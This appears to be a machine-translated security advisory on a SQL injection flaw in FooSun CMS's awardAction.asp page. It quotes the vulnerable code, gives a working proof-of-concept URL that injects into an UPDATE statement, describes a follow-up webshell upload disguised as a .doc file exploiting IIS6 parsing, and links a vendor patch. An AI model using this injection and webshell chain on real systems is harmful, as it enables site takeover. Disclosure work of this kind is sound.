FooSun awardAction. asp Page SQL injection vulnerability and repair

Affected Versions:
FooSun> 5.0 vulnerability description:
In the file UserawardawardAction. asp:
 
Integral = NoSqlHack (request. QueryString ("Integral") // 14th rows
 
If action = "join" then
 
User_Conn.execute ("Insert into FS_ME_User_Prize (prizeid, usernumber, awardID) values (" & CintStr (prizeID) & "," & session ("FS_UserNumber ")&", "& CintStr (awardID )&")")
 
Obtain the current number of participants --------------------------------
 
User_Conn.execute ("Update FS_ME_Users set Integral = (Integral-" & Integral & ") where usernumber =" & session ("FS_UserNumber ")&"")
 
The numeric variable Integral uses the function of filtering characters to filter the SQL injection vulnerability. As a result, any content in the table FS_ME_User can be modified. In combination with other functions of the system, webshell can be obtained.

Test method:

The Program (method) provided on this site may be offensive and only used for security research and teaching. You are at your own risk!
After a registered user logs in, visit the Url:
 
Http://ssvdb.com/User/award/awardAction.asp? Action = join & awardID = 1 & prizeID = 1 & Integral = 0), usernumber = 0x6C006C002E00610073007000, LoginNum = (1
 
After exiting, log on to the file management office and upload the webshell with the suffix doc in the file management office to get the webshell. (Using IIS6 to parse folders as *. asp)

 

Security suggestions:
Vendor patch: html "> http://bbs.foosun.net/showtopic-93216.html